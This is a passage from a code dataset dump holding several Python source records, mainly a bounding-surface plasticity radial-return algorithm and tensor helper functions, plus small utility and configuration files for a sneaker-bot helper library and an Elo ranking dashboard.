NextCep = Ce\n\n dev_dStrain = dev(dStrain)\n vol_dStrain = trace(dStrain)\n res = np.zeros((2,1))\n \n \n NextStress0 = CurState.Stress0\n dev_NextStress0 = dev(NextStress0)\n dev_CurStress = dev(CurStress)\n\n norm_dev_CurStress = normS(dev_CurStress)\n norm_dev_NextStress0 = normS(dev_NextStress0)\n\n CurKappa = CurState.Kappa\n CurPsi = CurState.Psi\n #Assume next Kappa and Psi are current (will overwrite for loading)\n NextKappa = CurKappa\n NextPsi = CurPsi\n NextalphaISO = CurState.alphaISO\n\n numerator = innerProduct((-(1 + CurKappa)*dev_CurStress - CurKappa*(1 + CurKappa)*(dev_CurStress - dev_NextStress0)), dev_dStrain, 3)\n denominator = innerProduct(( (1 + CurKappa)*dev_CurStress - CurKappa*dev_NextStress0), (dev_CurStress - dev_NextStress0), 1)\n\n if np.absolute(denominator) < small:\n loadingCond = 0\n else:\n loadingCond = numerator/denominator\n\n\n if loadingCond > 0.0:\n if debugFlag == 1:\n print('Unloading Happened')\n\n NextStress0 = CurStress\n dev_NextStress0 = dev(NextStress0)\n loadingCond = 0\n\n if loadingCond == 0:\n # ====================================================================================================\n # unloading (or beginning of loading) just happened\n if debugFlag == 0:\n print('Initial Loading') \n \n #Initial pseudo-elastic Psi and Kappa at unloading point\n NextPsi = 2.0*G \n NextKappa = 1.0e6\n dev_dStrainNorm = normE(dev_dStrain)\n \n if np.absolute(dev_dStrainNorm) < small:\n NextStress = CurStress\n else:\n #dStrain deviatoric unit vector\n dev_dStrainDir = dev_dStrain/dev_dStrainNorm\n NextH = evalH(StaticParam, NextKappa)\n res[0] = NextPsi*(1.0 + 3.0*G*beta/NextH)/(2.0*G)-1.0 \n res[1] = vectorNorm((dev_CurStress+(1.0+NextKappa)*NextPsi*convert2StressLike(dev_dStrain)), 1)/RR - 1.0\n res_norm = np.sqrt(res[0]**2 + res[1]**2)\n\n #Initialize Newton variables\n iter_counter = 0\n iter_max = 50\n tol_mat = tol_rel*res_norm\n incVar = np.zeros((2,1))\n\n for iter_counter in range(1, iter_max+1):\n if debugFlag == 0: \n print('Iteration = ', num2str(iter_counter), ' Norm = ', num2str(res_norm))\n if res_norm < (tol_mat + small):\n NextStress = CurStress + K*vol_dStrain*meye + NextPsi*convert2StressLike(dev_dStrain)\n break \n\n temp = (dev_CurStress + (1 + NextKappa)*NextPsi*convert2StressLike(dev_dStrain))\n temp = temp / vectorNorm(temp,1)\n Ktan = np.zeros((2,2))\n Ktan[0,0] = (1.0 + 3.0*G*beta/NextH) / (2.0*G)\n Ktan[0,1] = (-3.0*G*NextPsi*beta*mm/hh/(NextKappa**(mm+1.0))/(2.0*G))\n Ktan[1,0] = ((1.0+NextKappa) * innerProduct(temp, dev_dStrain, 3)) / RR\n Ktan[1,1] = (innerProduct(temp, NextPsi*convert2StressLike(dev_dStrain), 1)) / RR\n\n incVar = np.linalg.solve(Ktan, res) #\\ operator is left matrix division, minimizes AX - B\n\n NextPsi = NextPsi - incVar[0]\n NextKappa = NextKappa - incVar[1]\n\n NextH = evalH(StaticParam, NextKappa)\n\n #Calculate New Residual\n res[0] = NextPsi*(1.0 + 3.0*G*beta/NextH)/(2.0*G)-1.0 \n res[1] = vectorNorm(dev_CurStress + (1.0 + NextKappa)*NextPsi*convert2StressLike(dev_dStrain), 1)/RR - 1.0\n res_norm = np.sqrt(res[0]**2 + res[1]**2)\n\n else:\n\n # ====================================================================================================\n # Continuing Loading\n if debugFlag == 0: \n print('Loading Continues') \n \n \n CurH = evalH(StaticParam, CurKappa)\n #Pseudo-elastic assumption\n NextH = evalH(StaticParam, NextKappa)\n res[0] = NextPsi*(1.0 + 3.0*G*((1-beta)/CurH + beta/NextH))/(2.0*G)-1.0\n res[1] = vectorNorm(dev_CurStress + (1.0 + NextKappa)*NextPsi*convert2StressLike(dev_dStrain) + NextKappa*(dev_CurStress - dev_NextStress0), 1)/RR - 1.0\n res_norm = np.sqrt(res[0]**2+res[1]**2)\n\n #Initialize Newton variables\n iter_counter = 0\n iter_max = 50\n tol_mat = tol_rel*res_norm\n incVar = np.zeros((2,1))\n\n for iter_counter in range(1, iter_max+1): \n if debugFlag == 0: \n print('Iteration = ', num2str(iter_counter), ' Norm = ', num2str(res_norm))\n if res_norm < (tol_mat+small):\n NextStress = CurStress + K*vol_dStrain*meye + NextPsi*convert2StressLike(dev_dStrain)\n break \n\n temp = (dev_CurStress + (1+NextKappa)*NextPsi*convert2StressLike(dev_dStrain) + NextKappa*(dev_CurStress - dev_NextStress0)); \n temp = temp / vectorNorm(temp,1)\n Ktan = np.zeros((2,2))\n Ktan[0,0] = (1.0+3.0*G*((1-beta)/CurH + beta/NextH)) / (2.0*G)\n Ktan[0,1] = (-3.0*G*NextPsi*beta*mm/hh/(NextKappa**(mm+1.0))/(2.0*G))\n Ktan[1,0] = ((1.0+NextKappa) * innerProduct(temp, dev_dStrain, 3)) / RR\n Ktan[1,1] = (innerProduct(temp, dev_CurStress + NextPsi*convert2StressLike(dev_dStrain)-dev_NextStress0, 1)) / RR\n\n incVar = np.linalg.solve(Ktan,res) #Since Ktan is nxn: X = A\\B | AX = B | X minimizes norm(AX - B)\n \n #Real next Psi, Kappa, and H\n NextPsi = NextPsi - incVar[0]\n NextKappa = NextKappa - incVar[1]\n NextH = evalH(StaticParam, NextKappa)\n\n #Calculate New Residual \n res[0] = NextPsi*(1.0+3.0*G*((1-beta)/CurH + beta/NextH))/(2.0*G) - 1.0\n res[1] = vectorNorm(dev_CurStress+(1.0+NextKappa)*NextPsi*convert2StressLike(dev_dStrain)+ NextKappa*(dev_CurStress - dev_NextStress0), 1)/RR - 1.0\n res_norm = np.sqrt(res[0]**2 + res[1]**2)\n\n\n NextStress = CurStress + K*vol_dStrain*meye + NextPsi*convert2StressLike(dev_dStrain)\n\n # Update State\n state = namedtuple('state', ['eP','alphaISO','Stress0', 'Kappa', 'Psi'])\n NextState = state(0, NextalphaISO, NextStress0, NextKappa, NextPsi)\n \n #Get 6x6 representations of Ivol and Idev\n Ivol = GetIvol()\n Idev = GetIdev()\n #Ivol = np.array([[np.ones((3,3)), np.zeros((3,3))], [np.zeros((3,3)), np.zeros((3,3))]]).reshape(6,6) # 3Ivol\n #NOTE: NextCep is equivalent to 3KIvol + 2GIdev when NextPsi is at its elastic state: 2G\n NextCep = 3*K*Ivol + NextPsi*Idev\n \n return NextStress, NextState, NextCep\n", "id": "11864933", "language": "Python", "matching_score": 6.623080253601074, "max_stars_count": 0, "path": "BSRadialMap.py" }, { "content": "def psiBSRadialMap(dStr, StaticParam, CurStrain, CurStress, CurState, StressDriven):\n # Radial Return Algorithm for J2 Bounding Surface Plasticity Model\n # Original model by Borjas & Amies 1994\n # Base radialmap by <NAME>, Mar. 22 2019\n # Copyright Arduino Computational Geomechanics Group\n # Precomputed matrix enabled version by <NAME>, Jul. 2019\n #\n #\n # Input:\n # dStrain ... Strain differential, tn to tn+1\n # StaticParam.E ... Young's modulus\n # StaticParam.v ... poissons ratio\n # StaticParam.G ... Shear modulus\n # StaticParam.K ... Bulk modulus\n # StaticParam.hh ... Kinematic Hardening parameter\n # StaticParam.mm ... Kinematic hardening parameter\n # StaticParam.beta ... Integration parameter (0=expl, 1=impl)\n # StaticParam. RR ... Bounding surface radius\n # CurStress ... Stress at tn\n # CurState.eP ... Plastic strain at tn\n # CurState.alphaISO ... Isotropic internal variable at tn\n ## CurState.alphaKIN ... Kinematic internal variablen at tn\n # CurState.Stress0 ... Stress point at unloading\n #\n # Output:\n # NextStress ... Stress at tn+1\n # CurState.eP ... Plastic strain at tn\n # CurState.alphaISO ... Isotropic internal variable at tn+1\n # CurState.alphaKIN ... Kinematic internal variablen at tn+1\n # Cep ... Consistent tangent modulus\n\n #Static Parameters\n G = StaticParam.G\n K = StaticParam.K\n mm = StaticParam.mm\n hh = StaticParam.hh\n beta = StaticParam.beta\n R = StaticParam.RR\n\n meye = np.eye(3,1); meye[1]=1; meye[2]=1 \n small = 1.0e-10 # Tolerance for small dStrain steps, AKA no stress change\n debugFlag = 1 #Set 0 for true, 1 for false\n\n #=================================\n # -----INDEX MAPPING AND ROTATIONS\n\n # Change these to passed values\n #res_x = 101\n #res_y = 101\n cen_x = int(np.floor(res_x/2))\n cen_y = int(np.floor(res_y/2))\n #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n \n if StressDriven == 0:\n # Strain-driven loading\n #print('Strain-driven')\n dStrain = dStr\n\n dev_dStrain = dev(dStrain)\n vol_dStrain = trace(dStrain)\n\n NextStress0 = CurState.Stress0 \n dev_NextStress0 = dev(NextStress0)\n dev_CurStress = dev(CurStress)\n\n CurKappa = CurState.Kappa\n CurPsi = CurState.Psi\n NextKappa = CurKappa # Temporary\n NextPsi = CurPsi # Temporary\n\n NextalphaISO = 0\n\n # Unit-vectors\n hydro = np.array([[np.sqrt(1/3)],[np.sqrt(1/3)],[np.sqrt(1/3)]]) # Hydrostatic axis unit-vector\n north = np.array([[np.sqrt(2/3)],[-np.sqrt(1/6)],[-np.sqrt(1/6)]]) #\\Pi-plane north unit-vector\n east = np.array([[0],[np.sqrt(1/2)],[-np.sqrt(1/2)]]) #\\Pi-plane east unit-vector\n south = -north\n\n #=================================\n # -----UNLOADING CHECK\n numerator = innerProduct((-(1 + CurKappa)*dev_CurStress - CurKappa*(1 + CurKappa)*(dev_CurStress - dev_NextStress0)), dev_dStrain, 3)\n denominator = innerProduct(( (1 + CurKappa)*dev_CurStress - CurKappa*dev_NextStress0), (dev_CurStress - dev_NextStress0), 1)\n\n if np.absolute(denominator) < small:\n loadingCond = 0\n else:\n loadingCond = numerator/denominator\n\n if loadingCond > 0.0:\n if debugFlag == 0:\n print('Unloading Happened')\n NextStress0 = CurStress\n dev_NextStress0 = dev(NextStress0)\n loadingCond = 0\n else:\n loadingCond = 0\n\n unloading = True # Set to True in order to enter while loop\n #=================================\n \n if loadingCond == 0:\n # Check if zero vector (breaks angle-finders), set angles accordingly\n if np.all(dev_NextStress0 == 0):\n northUnloadingAngle = 0.\n eastUnloadingAngle = 0.\n else:\n northUnloadingAngle = angleNormal(north, dev_NextStress0)\n eastUnloadingAngle = angleNormal(east, dev_NextStress0)\n\n # Check if the unloading stress is west or east of centerline\n if eastUnloadingAngle > np.pi/2:\n northUnloadingAngle = -northUnloadingAngle\n\n #=========================\n # -----Rotate North & Map to Index Space\n #northNextStress0 = quatHydroRotator(dev_NextStress0, -northUnloadingAngle)\n #northCurStress = quatHydroRotator(dev_CurStress, -northUnloadingAngle)\n #indexNorthNextStress0 = stressToIndex(northNextStress0, res_x, res_y, R, sliced=False) # UL Index float space\n #indexNorthCurStress = stressToIndex(northCurStress, res_x, res_y, R, sliced=False) # UL Index float space\n \n indexNextStress0 = stressToIndex(NextStress0, res_x, res_y, R, sliced=False) - cen_y # O\\Pi Index float space\n indexCurStress = stressToIndex(CurStress, res_x, res_y, R, sliced=False) - cen_y # O\\Pi Index float space\n indexNorthNextStress0 = indexRotator(indexNextStress0, -northUnloadingAngle) + cen_y # A\\Pi Index float space\n indexNorthCurStress = indexRotator(indexCurStress, -northUnloadingAngle) + cen_y # A\\Pi Index float space \n \n #=========================\n # -----Access H' Matrix\n # Find layer containing appropiate 1D North NextStress0 position\n\n if indexNorthNextStress0[1] == 0:\n indexNorthNextStress0[1] = 1\n layerH = cen_y - int(np.round(indexNorthNextStress0[1]))\n jH = int(np.round(indexNorthCurStress[1]))\n iH = int(np.round(indexNorthCurStress[0]))\n cartH = hardeningM[:, :, layerH] # Holds relevant H' matrix layer\n CurH = cartH[jH, iH] # Determine current H', could pass between time-step\n\n\n # ======================== \n # -----Rotate South and Access \\psi Matrix\n # Will need to find the \\psi layer containing\n # the appropiate 1D SouthNorth CurH position with respect to 1D North NextStress0.\n # Then search, for paired psi and NextH values to satisfy formula \n\n Iter_H = 0 # Redundant, currently used for tracking random values of interest\n CurKappa = float((CurH/hh)**(1/mm)) # Backcalculated \\kappa value, depends on hardening function\n midpoint = float(cen_y - (CurKappa * (cen_y - int(np.round(indexNorthNextStress0[1]))))/(CurKappa + 1)) # 1D Midpoint of \\kappa contour\n midpoint = np.array([[cen_x],[midpoint]]) # Float index space\n radius = (float(midpoint[0] - indexNorthCurStress[0])**2 + float(midpoint[1] - indexNorthCurStress[1])**2)**0.5 # Distance from contour midpoint to CurStress\n \n subG = int(cen_y - indexNorthNextStress0[1]) # Subgroup holding appropiate NextStress0; range(0, cen_y)\n curS = int(np.round(midpoint[1])) # Layer of subgroup holding CurStress position; range(0, res_y)\n Iter_H = curS # Redundant\n layerP = subG*res_y + curS # (Subgroup relative to NextStress0) + (Layer of subgroup holding CurStress)\n cartP = psiM[:,:,layerP] # Pull appropiate \\psi layer into RAM\n \n adjMidpoint = midpoint - cen_y # Recenter contour midpoint\n adjIndexNorthCurStress = np.array([[0],[0]]) # Initialize \n adjIndexNorthCurStress[0] = int(np.round(indexNorthCurStress[0])) - cen_x # O\\Pi, integer\n adjIndexNorthCurStress[1] = int(np.round(indexNorthCurStress[1])) - cen_y # O\\Pi, integer\n adjIndexNorthCurStress[1] = adjIndexNorthCurStress[1] - adjMidpoint[1] # Offest for relative distance\n south = np.array([[0],[1]]) # Upper-left centered, (+x = right, +y = down)\n theta = angleIndex(south, adjIndexNorthCurStress) # Angle between south and float-index CurStress\n if np.isnan(theta):\n angle = 0\n\n indexNorthNorthCurStress = np.array([[cen_x],[int(np.round(midpoint[1] - radius))]]) # North aligned\n indexSouthNorthCurStress = np.array([[cen_x],[int(np.round(midpoint[1] + radius))]]) # South aligned\n southNorthDStrain = quatHydroRotator(dev_dStrain, -theta) # dev_dStrain for South aligned CurStress, North aligned Stress0\n #northNorthDStrain = -southNorthDStrain # dev_dStrain for North aligned CurStress, North aligned Stress0\n\n # Search line for \\psi and H' pairs\n rr, cc = psiSearch(southNorthDStrain, indexSouthNorthCurStress, res_x, res_y, R) \n \n indexNextH = np.array([[0],[0]]) # Initialize array\n indexPsi = np.array([[0],[0]]) # Initialize array\n psi = 2*G # Initialize psi\n tol_R = 1e-1 # Tolerance for equation 37, major speed increase when looser\n hold_R = 1e6 # Initialize tolerance comparison eq. 37\n Iter_Psi = 0 # Reset psi-search iterations\n \n # 'stop' is a very important parameter\n # High values will slow the program/increase chance of error\n # Low values will limit the stress movement/increase error\n # Will eventually become 'predictively' set\n stop = 30 # How many points to evaluate on search line (more needed for larger steps/finer resolution)\n stop = np.linspace(0, stop-1, stop) \n for j, i, s in zip(rr, cc, stop):\n NextH = float(cartH[j,i]) # H' value of NextStress cell\n # Skip if cell is on/outside of bounding surface\n if NextH == 0:\n continue\n \n NextKappa = float((NextH/hh)**(1/mm)) # Backcompute kappa from hardening function\n psi = float(cartP[j,i]) # \\psi value of specific \\psi-H' pair\n \n # Solve base equation, zero res_search and res_R means pair matches true function (i.e. no error)\n #res_search = (2*G)/(1 + 3*G*(((1-beta)/CurH) + (beta)/NextH)) - psi\n res_R = np.abs(np.linalg.norm(dev_CurStress + psi*dev_dStrain + NextKappa*(dev_CurStress + psi*dev_dStrain - dev_NextStress0))-R)\n Iter_Psi = Iter_Psi + 1\n\n # If in an acceptable range of true solution, break loop to save time\n if res_R <= tol_R:\n hold = False\n break\n\n #Hold best solution if one below tolerance isn't found\n if res_R < hold_R:\n hold_NextKappa = NextKappa\n hold_NextH = NextH\n hold_psi = psi\n hold_Iter_Psi = Iter_Psi\n hold_R = res_R\n hold = True\n\n # If tolerances were not met, give the best pair found\n if hold == True:\n NextKappa = hold_NextKappa \n NextH = hold_NextH\n psi = hold_psi\n Iter_Psi = hold_Iter_Psi\n res_R = hold_R\n\n #==================================\n # -----Solve Constitutive Equation\n #NextStress = CurStress + K*vol_dStrain*meye + psi*dev_dStrain\n NextStress = CurStress + K*vol_dStrain*meye + (1/3)*psi*dev_dStrain\n NextStrain = CurStrain + vol_dStrain + dev_dStrain\n \n # Update State\n Iter_H = res_R # Redundant\n state = namedtuple('state', ['eP','alphaISO', 'Stress0', 'Iter_H', 'Iter_Psi', 'Kappa', 'H', 'Psi'])\n NextState = state(0, NextalphaISO, NextStress0, Iter_H, Iter_Psi, NextKappa, NextH, psi)\n \n return NextStrain, NextStress, NextState\n \n # -----------------------------------------------------------------------------------------------------------\n # STRESS - DRIVEN \n elif StressDriven == 1:\n \n # Initialize state\n dev_CurStrain = dev(CurStrain)\n dev_CurStress = dev(CurStress) \n \n dStress = dStr \n dev_dStress = dev(dStress)\n vol_dStress = trace(dStress)\n \n NextStress = CurStress + dStress\n dev_NextStress = dev(NextStress)\n \n NextStress0 = CurState.Stress0 \n dev_NextStress0 = dev(NextStress0)\n norm_dev_NextStress0 = normS(dev_NextStress0) \n \n # Initialize state parameters\n CurKappa = CurState.Kappa\n CurPsi = CurState.Psi\n NextKappa = CurKappa # Temporary\n NextPsi = CurPsi # Temporary\n NextalphaISO = 0\n \n north = np.array([[np.sqrt(2/3)],[-np.sqrt(1/6)],[-np.sqrt(1/6)]]) #\\Pi-plane north unit-vector\n east = np.array([[0],[np.sqrt(1/2)],[-np.sqrt(1/2)]]) #\\Pi-plane east unit-vector\n \n #=================================\n # -----UNLOADING CHECK\n unloaded = False\n numerator = innerProduct((-(1 + CurKappa)*dev_CurStress - CurKappa*(1 + CurKappa)*(dev_CurStress - dev_NextStress0)), dev_dStress, 1)\n denominator = innerProduct(( (1 + CurKappa)*dev_CurStress - CurKappa*dev_NextStress0), (dev_CurStress - dev_NextStress0), 1)\n small = 1e-10\n if np.absolute(denominator) < small:\n loadingCond = 0\n else:\n loadingCond = numerator/denominator\n\n if loadingCond > 0.0:\n # Reset unloading stress to current position\n if debugFlag == 0:\n print('Unloading Happened')\n NextStress0 = CurStress\n dev_NextStress0 = dev(NextStress0)\n norm_dev_NextStress0 = normS(dev_NextStress0) \n loadingCond = 0\n unloaded = True\n else:\n loadingCond = 0\n unloaded = False\n \n # Check if zero vector unloading point (breaks angle-finders), set angles accordingly\n if np.all(NextStress0 == 0):\n northUnloadingAngle = 0.\n eastUnloadingAngle = 0.\n else:\n northUnloadingAngle = angleNormal(north, dev_NextStress0)\n eastUnloadingAngle = angleNormal(east, dev_NextStress0)\n # Check if the unloading stress is west or east of centerline\n if eastUnloadingAngle > np.pi/2:\n northUnloadingAngle = -northUnloadingAngle\n \n #============================================\n # ----- Map to Index Space and Rotate North\n # Rotate and map stress state to index notation\n northCurStress = quatHydroRotator(dev_CurStress, -northUnloadingAngle)\n northNextStress = quatHydroRotator(dev_NextStress, -northUnloadingAngle)\n northNextStress0 = quatHydroRotator(dev_NextStress0, -northUnloadingAngle)\n indexNorthCurStress = stressToIndex(northCurStress, res_x, res_y, R)\n indexNorthNextStress = stressToIndex(northNextStress, res_x, res_y, R)\n indexNorthNextStress0 = stressToIndex(northNextStress0, res_x, res_y, R)\n \n #indexNorthNextStress0 = np.array([[cen_x],[int(np.round(cen_y * (1 - norm_dev_NextStress0/R)))]])\n \n if indexNorthNextStress0[1] <= 0:\n indexNorthNextStress0[1] = 1\n\n #===========================================\n # ----- Access H' Matrix\n layer = cen_y - int(indexNorthNextStress0[1]) # Relevant H' matrix layer for NextStress0\n if unloaded == True:\n maxKappa = 1e5\n CurH = float((maxKappa*hh)**(mm))\n elif unloaded == False:\n CurH = float(hardeningM[int(indexNorthCurStress[1]),int(indexNorthCurStress[0]), layer])\n NextH = float(hardeningM[int(indexNorthNextStress[1]),int(indexNorthNextStress[0]), layer])\n NextKappa = float((NextH / hh)**(1/mm))\n trap = (1 + 3*G*(((1-beta)/CurH) + (beta/float(NextH))))\n psi = 2*G / trap\n \n #============================================\n # ----- Solve Constitutive Equation\n dev_dStrain = (dev_dStress * trap) / (2*G)\n vol_dStrain = (dStress - psi*dev_dStrain) / K\n #NextStrain = CurStrain + vol_dStrain + dev_dStrain\n NextStrain = CurStrain + vol_dStrain + 2*dev_dStrain\n\n Iter_H = 0 # No iterations required in stress-driving\n Iter_Psi = 0 # No iterations required in stress-driving\n \n # Update State\n state = namedtuple('state', ['eP','alphaISO', 'Stress0', 'Iter_H', 'Iter_Psi', 'Kappa', 'H', 'Psi'])\n NextState = state(0, NextalphaISO, NextStress0, Iter_H, Iter_Psi, NextKappa, NextH, psi)\n \n return NextStrain, NextStress, NextState\n", "id": "3074698", "language": "Python", "matching_score": 1.4827477931976318, "max_stars_count": 0, "path": "psiBSRadialMap.py" }, { "content": "def hydroProjector(stress, type):\n # <NAME>, July 2019\n # Project forms of stress vectors onto a plane orthogonal to the hydrostatic axis, centered at the origin\n # U_{proj-plane} = U - ((U dot n)/(||n||^2))n\n # U = [s_11, s_22, s_33, s_12, s_23, s_13]; n = Vector normal to \\pi-plane\n # U = [s_1, s_2, s_3]\n #===================================\n #Type 0 for for top 3 cells of 6x1, 1 for bottom 3 cells of 6x1, 2 for 3x1 principal form\n #===================================\n #Be careful that the correct unit vector is being used or an offset to the projected plane will occur \n #Not a major issue when viewing figure in 'ortho' \n import numpy as np\n #stress = stress.reshape(1,6)\n def zero(stress):\n #Projecting 3x1 normal principal vectors onto the \\Pi-plane\n #Converting to 6x1 in order to use other functions that are called\n zero.vec = np.array([1,1,1,0,0,0])\n zero.norm_vec = normS(zero.vec)\n zero.unit_vec = zero.vec/zero.norm_vec\n zero.norm_unit_vec = normS(zero.unit_vec)\n zero.proj_stress = stress - ((innerProduct(stress,zero.unit_vec,1))/(zero.norm_unit_vec**2))*zero.unit_vec\n return zero.proj_stress\n def one(stress):\n one.vec = np.array([0,0,0,1,1,1])\n one.norm_vec = normS(one.vec)\n one.unit_vec = one.vec/one.norm_vec\n one.norm_unit_vec = normS(one.unit_vec)\n one.proj_stress = stress - ((innerProduct(stress,one.unit_vec,1))/(one.norm_unit_vec**2))*one.unit_vec\n return one.proj_stress\n def two(stress):\n two.vec = np.array([1,1,1])\n two.norm_vec = normS(two.vec)\n two.unit_vec = two.vec/two.norm_vec\n two.norm_unit_vec = normS(two.unit_vec)\n two.proj_stress = stress - ((innerProduct(stress,two.unit_vec,1))/(two.norm_unit_vec**2))*two.unit_vec\n return two.proj_stress \n \n switch_type = {\n 1: zero,\n 2: one,\n 3: two\n }\n #Pseudo-switch\n case = switch_type.get(type+1, lambda: \"Invalid projection type\")\n case(stress) #Runs the projection function.\n proj_stress = case.proj_stress\n return proj_stress\n", "id": "10286181", "language": "Python", "matching_score": 2.362955093383789, "max_stars_count": 0, "path": "hydroProjector.py" }, { "content": "def vectorAngle(vec1, vec2, type):\n # First take the dev() and hydroProjector() of the vectors if measuring\n # angle from deviatoric view\n #\n #if vec1.shape == (6,1) or vec1.shape(6,) or vec1.shape == (1,6):\n #theta = cos-1((u dot v)/(||u|| dot ||v||))\n switch_type = {\n 1: 2, #Stress\n 2: 0.5, #Strain\n 3: 1 #Stress Strain\n }\n factor = switch_type.get(type, 'Invalid type')\n angle = float(np.arccos(innerProduct(vec1, vec2,1)/(normS(vec1)*normS(vec2)))*(180/np.pi)) #Degrees \n #else:\n #angle = 'Incorrect input vector shape'\n return angle\n", "id": "12790901", "language": "Python", "matching_score": 1.1103960275650024, "max_stars_count": 0, "path": "vectorAngle.py" }, { "content": "def vectorNorm(X, type):\n #norm(X) in type = stress, strain or neutral storage format\n vNorm = np.sqrt(innerProduct(X,X,type))\n return vNorm\n", "id": "4297940", "language": "Python", "matching_score": 2.0875587463378906, "max_stars_count": 0, "path": "vectorNorm.py" }, { "content": "def innerProduct( X, Y, type):\n #inner = X.*Y for type = stress, strain, or neutral storage\n inner = 0.0\n if X.shape == (3, 3):\n #tensor represented as 3x3\n inner = np.multiply(X,Y) # Outputs (3,3) array\n elif X.shape == (6,1) or X.shape == (6,) or X.shape == (1,6):\n X = X.reshape(6,1)\n Y = Y.reshape(6,1)\n #Pseudo-switch\n switcher = {\n 1: 2.0, #Stress\n 2: 0.5, #Strain\n 3: 1.0 #stress:strain\n }\n modifier = switcher.get(type, \"Invalid type in innerProduct()\")\n for i in range(0, len(X)):\n inner = inner + X[i]*Y[i]\n inner = inner[0] # Output scalar\n if i > 2:\n inner = inner + (modifier - 1.0)*X[i]*Y[i]\n inner = inner[0] # Output scalar\n elif X.shape == (3,1) or X.shape == (3,) or X.shape == (1,3):\n X = X.reshape(3,1)\n Y = Y.reshape(3,1)\n for i in range(0, len(X)):\n inner = inner + X[i]*Y[i]\n inner = inner[0]\n else:\n print('Unsupported representation of second order tensor in innerProduct()')\n return inner\n", "id": "7738706", "language": "Python", "matching_score": 0.08141648024320602, "max_stars_count": 0, "path": "innerProduct.py" }, { "content": "def princVec(vec, type):\n #Based on the code of <NAME>, 2019\n #Edited by <NAME>, July 2019\n #type = 0 returns normal principals\n #type = 1 returns shear principals\n import numpy as np\n \n if vec.shape == (3,3):\n S = vec\n elif vec.shape == (6,1) or vec.shape == (6,) or vec.shape == (1,6): \n vec = vec.reshape(6,1)\n S = np.array([[vec[0], vec[3], vec[5]],\n [vec[3], vec[1], vec[4]],\n [vec[5], vec[4], vec[2]] ]).reshape(3,3)\n\n else:\n print('Unsupported vector shape in principal()')\n \n e_val, e_vec = np.linalg.eig(S) #Solve for eigenvalues and eigenvectors\n p3, p2, p1 = np.sort(e_val) #Sort smallest to largest\n #p1, p2, p3 = e_val\n e_val_l = e_val.tolist() #Python list\n p1_index, p2_index, p3_index = e_val_l.index(p1), e_val_l.index(p2), e_val_l.index(p3)\n p1_vec, p2_vec, p3_vec = e_vec[:,p1_index], e_vec[:,p2_index], e_vec[:,p3_index]\n \n if type == 1:\n tau1 = (p1+p3)/2\n tau2 = (p1+p2)/2\n tau3 = (p2+p3)/2\n p1_vec = (p1_vec + p3_vec)/np.linalg.norm(p1_vec+p3_vec)\n p2_vec = (p1_vec + p2_vec)/np.linalg.norm(p1_vec+p2_vec)\n p3_vec = (p2_vec + p3_vec)/np.linalg.norm(p2_vec+p3_vec)\n\n return p1_vec, p2_vec, p3_vec\n", "id": "6378169", "language": "Python", "matching_score": 2.5015742778778076, "max_stars_count": 0, "path": "princVec.py" }, { "content": "def princVal(vec, type):\n #Based on the code of <NAME>, 2019\n #Edited by <NAME>, July 2019\n #type = 0 returns normal principals\n #type = 1 returns shear principals\n import numpy as np\n \n if vec.shape == (3,3):\n S = vec\n elif vec.shape == (6,1) or vec.shape == (6,) or vec.shape == (1,6): \n vec = vec.reshape(6,1)\n S = np.array([[vec[0], vec[3], vec[5]],\n [vec[3], vec[1], vec[4]],\n [vec[5], vec[4], vec[2]] ])\n S = S.reshape(3,3)\n else:\n print('Unsupported vector shape in principal()')\n \n e_val, e_vec = np.linalg.eig(S) #Solve for eigenvalues and eigenvectors\n p3, p2, p1 = np.sort(e_val) #Sort smallest to largest\n #p1, p2, p3 = e_val\n \n if type == 1:\n p1 = (p1+p3)/2\n p2 = (p1+p2)/2\n p3 = (p2+p3)/2\n\n return p1, p2, p3\n", "id": "10547411", "language": "Python", "matching_score": 2.243744373321533, "max_stars_count": 0, "path": "princVal.py" } ]
1.482748
legonkovm
[ { "content": "print(\"Hello world!\")\nprint(\"Hi\")\n", "id": "11529042", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "code.py" } ]
0
TrillaVan1la
[ { "content": "import timeit\n\ndef format_phone(n):\n\treturn '({}) {}-{}'.format(n[:3], n[3:6], n[6:])\n\ndef format_card(n):\n\treturn '{} {} {} {}'.format(n[:4], n[4:8], n[8:12], n[12:])\n\ndef tick():\n global tick\n tick = timeit.default_timer()\n return tick\n\ndef tock():\n tock = timeit.default_timer()\n print(tock - tick)\n return tock\n\ndef footsites_parse_size(size):\n size_ = size\n\n if size[-2:] != \".5\":\n size_ = size + '.0'\n \n if float(size) < 10:\n size_ = '0' + size\n \n return (size_)", "id": "4346287", "language": "Python", "matching_score": 0, "max_stars_count": 31, "path": "scripts/atclibs.py" } ]
0
alexpersin
[ { "content": "# parameters for the Elo algorithm -- setting kind of arbitrarily for now, should tune once we have more data\nDEFAULT_K_VALUE = 50\nDEFAULT_D_VALUE = 600\nDEFAULT_SCORING_FUNCTION_BASE = 1.0\nINITIAL_RATING = 1000\n\n# Google Sheets info for reading input data\nGSHEETS_CREDENTIALS_FILE = \"./google-credentials.json\"\nSPREADSHEET_ID = \"17em2c8aP1zPWXQSSEDTYau8yRhKCvKfvzWnyv1LEsys\"\nDATA_SHEET_ID = 302447166\nDUMMY_PLAYER_NAME = \"_dummy_\"\n\n# dashboard settings\nDBC_THEME = \"FLATLY\" # others I liked: DARKLY, SIMPLEX, LUMEN (https://bootswatch.com/flatly/)\nPLOTLY_THEME = \"plotly_white\"\nLOGO_PATH = \"/assets/tbycsprints.png\"\nGITHUB_LOGO_PATH = \"assets/GitHub-Mark-32px.png\"\nGITHUB_URL = \"https://github.com/alexpersin/tbyc-elo\"\nTITLE = \"TBYC Sprint 15 Rankings\"\nSUBTITLE = \"Home of Uncommonly Smooth Sailing\"\n", "id": "6481586", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "config.py" }, { "content": "from google.oauth2.service_account import Credentials\nimport gspread\nimport pandas as pd\nimport numpy as np\nimport dash_bootstrap_components as dbc\nimport plotly.express as px\nfrom multielo import MultiElo, Tracker\nfrom gspread.client import Client\nfrom gspread.models import Spreadsheet, Worksheet\nfrom plotly.graph_objs import Figure\nfrom typing import List, Union\n\nimport config\n\nimport logging\n\ndef load_data_from_gsheet() -> pd.DataFrame:\n logging.info(\"Loading data from gsheets\")\n gc = set_up_gsheets_client(config.GSHEETS_CREDENTIALS_FILE)\n spreadsheet = gc.open_by_key(config.SPREADSHEET_ID)\n data_sheet = get_worksheet_by_id(spreadsheet, config.DATA_SHEET_ID)\n logging.info(\"Got datasheet %s\", data_sheet)\n df = worksheet_to_dataframe(data_sheet)\n return df\n\n\ndef 